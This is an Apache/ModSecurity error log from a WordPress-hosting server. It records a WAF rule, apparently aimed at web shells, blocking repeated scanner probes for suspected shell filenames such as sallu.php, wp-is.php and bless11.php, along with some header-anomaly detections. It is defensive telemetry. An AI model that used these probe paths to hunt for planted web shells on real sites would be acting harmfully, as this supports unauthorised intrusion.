[Thu Apr 02 21:21:33.448804 2026] [:error] [pid 59194:tid 59227] [client 43.166.128.187:36622] [client 43.166.128.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ac5tXRMpAeV11hcQehxTPwAAAA4"]
[Fri Apr 03 00:15:40.252249 2026] [autoindex:error] [pid 37543:tid 37556] [client 31.220.80.169:55371] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Apr 03 01:20:58.494079 2026] [autoindex:error] [pid 25470:tid 25475] [client 173.249.30.252:56290] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Apr 03 01:26:57.490066 2026] [:error] [pid 25018:tid 25426] [client 4.232.187.184:4064] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ac6m4XupR6lXnAUzFGr0lgAAAE0"]
[Fri Apr 03 01:26:57.961577 2026] [:error] [pid 25470:tid 25490] [client 4.232.187.184:28262] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ac6m4XhROcck6_9HYygREAAAANI"]
[Fri Apr 03 01:26:58.454677 2026] [:error] [pid 25010:tid 25354] [client 4.232.187.184:3120] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ac6m4o_KcjFQF5TuqTWibgAAAAY"]
[Fri Apr 03 01:26:58.930053 2026] [:error] [pid 25018:tid 25418] [client 4.232.187.184:4068] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abc.php"] [unique_id "ac6m4nupR6lXnAUzFGr0qQAAAEU"]
[Fri Apr 03 01:26:59.397521 2026] [:error] [pid 25035:tid 25447] [client 4.232.187.184:61056] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ac6m4xhR292toNOkLqGxwQAAAIU"]
[Fri Apr 03 01:27:00.161327 2026] [:error] [pid 25010:tid 25364] [client 4.232.187.184:3524] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ac6m5I_KcjFQF5TuqTWidwAAAA8"]
[Fri Apr 03 01:27:00.642428 2026] [:error] [pid 25035:tid 25464] [client 4.232.187.184:3272] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ac6m5BhR292toNOkLqGx0wAAAJY"]
[Fri Apr 03 01:27:01.143583 2026] [:error] [pid 25018:tid 25420] [client 4.232.187.184:4048] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new4.php"] [unique_id "ac6m5XupR6lXnAUzFGr0wgAAAEc"]
[Fri Apr 03 01:27:01.628544 2026] [:error] [pid 25035:tid 25451] [client 4.232.187.184:28272] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r4f_1.php"] [unique_id "ac6m5RhR292toNOkLqGx3gAAAIk"]
[Fri Apr 03 01:27:02.096106 2026] [:error] [pid 25035:tid 25464] [client 4.232.187.184:61579] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r4f_1.php"] [unique_id "ac6m5hhR292toNOkLqGx5wAAAJY"]
[Fri Apr 03 01:27:02.572813 2026] [:error] [pid 25035:tid 25466] [client 4.232.187.184:61023] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r4f_1.php"] [unique_id "ac6m5hhR292toNOkLqGx6wAAAJg"]
[Fri Apr 03 01:27:03.050590 2026] [:error] [pid 25035:tid 25462] [client 4.232.187.184:4050] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r4f_1.php"] [unique_id "ac6m5xhR292toNOkLqGx9wAAAJQ"]
[Fri Apr 03 01:27:03.541750 2026] [:error] [pid 25018:tid 25417] [client 4.232.187.184:61511] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ac6m53upR6lXnAUzFGr02gAAAEQ"]
[Fri Apr 03 01:27:04.071488 2026] [:error] [pid 25470:tid 25478] [client 4.232.187.184:61506] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ac6m6HhROcck6_9HYygRHgAAAMY"]
[Fri Apr 03 01:27:04.609304 2026] [:error] [pid 25010:tid 25373] [client 4.232.187.184:61099] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ac6m6I_KcjFQF5TuqTWiiQAAABg"]
[Fri Apr 03 01:27:05.099404 2026] [:error] [pid 25010:tid 25354] [client 4.232.187.184:28225] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ac6m6Y_KcjFQF5TuqTWiiwAAAAY"]
[Fri Apr 03 01:27:05.571548 2026] [:error] [pid 25018:tid 25418] [client 4.232.187.184:3199] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "ac6m6XupR6lXnAUzFGr03AAAAEU"]
[Fri Apr 03 01:27:06.049786 2026] [:error] [pid 25470:tid 25474] [client 4.232.187.184:28226] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "ac6m6nhROcck6_9HYygRJwAAAMI"]
[Fri Apr 03 01:27:06.569559 2026] [:error] [pid 25035:tid 25461] [client 4.232.187.184:4063] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "ac6m6hhR292toNOkLqGyDgAAAJM"]
[Fri Apr 03 01:27:07.044421 2026] [:error] [pid 25010:tid 25349] [client 4.232.187.184:61595] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "ac6m64_KcjFQF5TuqTWikgAAAAI"]
[Fri Apr 03 01:27:07.531734 2026] [:error] [pid 25018:tid 25426] [client 4.232.187.184:61578] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ac6m63upR6lXnAUzFGr05wAAAE0"]
[Fri Apr 03 01:27:08.005872 2026] [:error] [pid 25010:tid 25373] [client 4.232.187.184:4059] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ac6m7I_KcjFQF5TuqTWimgAAABg"]
[Fri Apr 03 01:27:08.508339 2026] [:error] [pid 25470:tid 25474] [client 4.232.187.184:61528] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ac6m7HhROcck6_9HYygRMgAAAMI"]
[Fri Apr 03 01:27:08.982261 2026] [:error] [pid 25010:tid 25370] [client 4.232.187.184:27090] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ac6m7I_KcjFQF5TuqTWioAAAABU"]
[Fri Apr 03 01:27:09.454329 2026] [:error] [pid 25470:tid 25490] [client 4.232.187.184:3289] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/o.php"] [unique_id "ac6m7XhROcck6_9HYygRPQAAANI"]
[Fri Apr 03 01:27:09.922138 2026] [:error] [pid 25010:tid 25365] [client 4.232.187.184:61600] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/o.php"] [unique_id "ac6m7Y_KcjFQF5TuqTWiqQAAABA"]
[Fri Apr 03 01:27:10.422356 2026] [:error] [pid 25018:tid 25433] [client 4.232.187.184:4082] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/o.php"] [unique_id "ac6m7nupR6lXnAUzFGr07gAAAFQ"]
[Fri Apr 03 01:27:10.986363 2026] [:error] [pid 25010:tid 25359] [client 4.232.187.184:3103] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/o.php"] [unique_id "ac6m7o_KcjFQF5TuqTWirwAAAAs"]
[Fri Apr 03 01:27:11.481737 2026] [:error] [pid 25035:tid 25452] [client 4.232.187.184:27094] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "ac6m7xhR292toNOkLqGyFwAAAIo"]
[Fri Apr 03 01:27:11.954918 2026] [:error] [pid 25018:tid 25414] [client 4.232.187.184:3255] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "ac6m73upR6lXnAUzFGr07wAAAEI"]
[Fri Apr 03 01:27:12.436099 2026] [:error] [pid 25470:tid 25479] [client 4.232.187.184:28573] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "ac6m8HhROcck6_9HYygRWgAAAMc"]
[Fri Apr 03 01:27:12.923082 2026] [:error] [pid 25010:tid 25353] [client 4.232.187.184:61557] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "ac6m8I_KcjFQF5TuqTWitAAAAAU"]
[Fri Apr 03 01:27:13.528373 2026] [:error] [pid 25035:tid 25461] [client 4.232.187.184:61078] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system_log.php"] [unique_id "ac6m8RhR292toNOkLqGyJQAAAJM"]
[Fri Apr 03 01:27:14.007279 2026] [:error] [pid 25010:tid 25366] [client 4.232.187.184:3177] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system_log.php"] [unique_id "ac6m8o_KcjFQF5TuqTWiuAAAABE"]
[Fri Apr 03 01:27:14.527751 2026] [:error] [pid 25010:tid 25359] [client 4.232.187.184:28572] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system_log.php"] [unique_id "ac6m8o_KcjFQF5TuqTWivQAAAAs"]
[Fri Apr 03 01:27:15.070151 2026] [:error] [pid 25018:tid 25436] [client 4.232.187.184:3142] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/system_log.php"] [unique_id "ac6m83upR6lXnAUzFGr0-AAAAFc"]
[Fri Apr 03 01:27:15.569773 2026] [:error] [pid 25470:tid 25477] [client 4.232.187.184:27111] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/ssd/sallu.php"] [unique_id "ac6m83hROcck6_9HYygRcwAAAMU"]
[Fri Apr 03 01:27:16.051522 2026] [:error] [pid 25018:tid 25419] [client 4.232.187.184:61849] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/ssd/sallu.php"] [unique_id "ac6m9HupR6lXnAUzFGr0_QAAAEY"]
[Fri Apr 03 01:27:16.538198 2026] [:error] [pid 25018:tid 25426] [client 4.232.187.184:61625] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/ssd/sallu.php"] [unique_id "ac6m9HupR6lXnAUzFGr1AgAAAE0"]
[Fri Apr 03 01:27:17.028905 2026] [:error] [pid 25035:tid 25445] [client 4.232.187.184:61809] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/ssd/sallu.php"] [unique_id "ac6m9RhR292toNOkLqGyOQAAAIM"]
[Fri Apr 03 01:27:17.522561 2026] [:error] [pid 25035:tid 25462] [client 4.232.187.184:3966] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "ac6m9RhR292toNOkLqGyPwAAAJQ"]
[Fri Apr 03 01:27:17.989851 2026] [:error] [pid 25470:tid 25487] [client 4.232.187.184:28250] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "ac6m9XhROcck6_9HYygRgAAAAM8"]
[Fri Apr 03 01:27:18.463717 2026] [:error] [pid 25018:tid 25414] [client 4.232.187.184:61515] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "ac6m9nupR6lXnAUzFGr1EgAAAEI"]
[Fri Apr 03 01:27:18.944448 2026] [:error] [pid 25010:tid 25348] [client 4.232.187.184:3074] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "ac6m9o_KcjFQF5TuqTWi0AAAAAE"]
[Fri Apr 03 01:27:19.422752 2026] [:error] [pid 25010:tid 25358] [client 4.232.187.184:4039] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ac6m94_KcjFQF5TuqTWi1gAAAAo"]
[Fri Apr 03 01:27:19.978767 2026] [:error] [pid 25010:tid 25355] [client 4.232.187.184:3560] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ac6m94_KcjFQF5TuqTWi2gAAAAc"]
[Fri Apr 03 01:27:20.469845 2026] [:error] [pid 25010:tid 25369] [client 4.232.187.184:28259] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ac6m-I_KcjFQF5TuqTWi3AAAABQ"]
[Fri Apr 03 01:27:20.957228 2026] [:error] [pid 25010:tid 25357] [client 4.232.187.184:27081] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ac6m-I_KcjFQF5TuqTWi4wAAAAk"]
[Fri Apr 03 01:27:21.435582 2026] [:error] [pid 25018:tid 25423] [client 4.232.187.184:28240] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ac6m-XupR6lXnAUzFGr1IwAAAEo"]
[Fri Apr 03 01:27:21.907925 2026] [:error] [pid 25018:tid 25418] [client 4.232.187.184:61620] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ac6m-XupR6lXnAUzFGr1JAAAAEU"]
[Fri Apr 03 01:27:22.387896 2026] [:error] [pid 25470:tid 25492] [client 4.232.187.184:3145] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ac6m-nhROcck6_9HYygRkAAAANQ"]
[Fri Apr 03 01:27:22.863043 2026] [:error] [pid 25035:tid 25446] [client 4.232.187.184:3085] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "ac6m-hhR292toNOkLqGyVwAAAIQ"]
[Fri Apr 03 01:27:23.351046 2026] [:error] [pid 25010:tid 25371] [client 4.232.187.184:3153] [client 4.232.187.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "ac6m-4_KcjFQF5TuqTWi-QAAABY"]
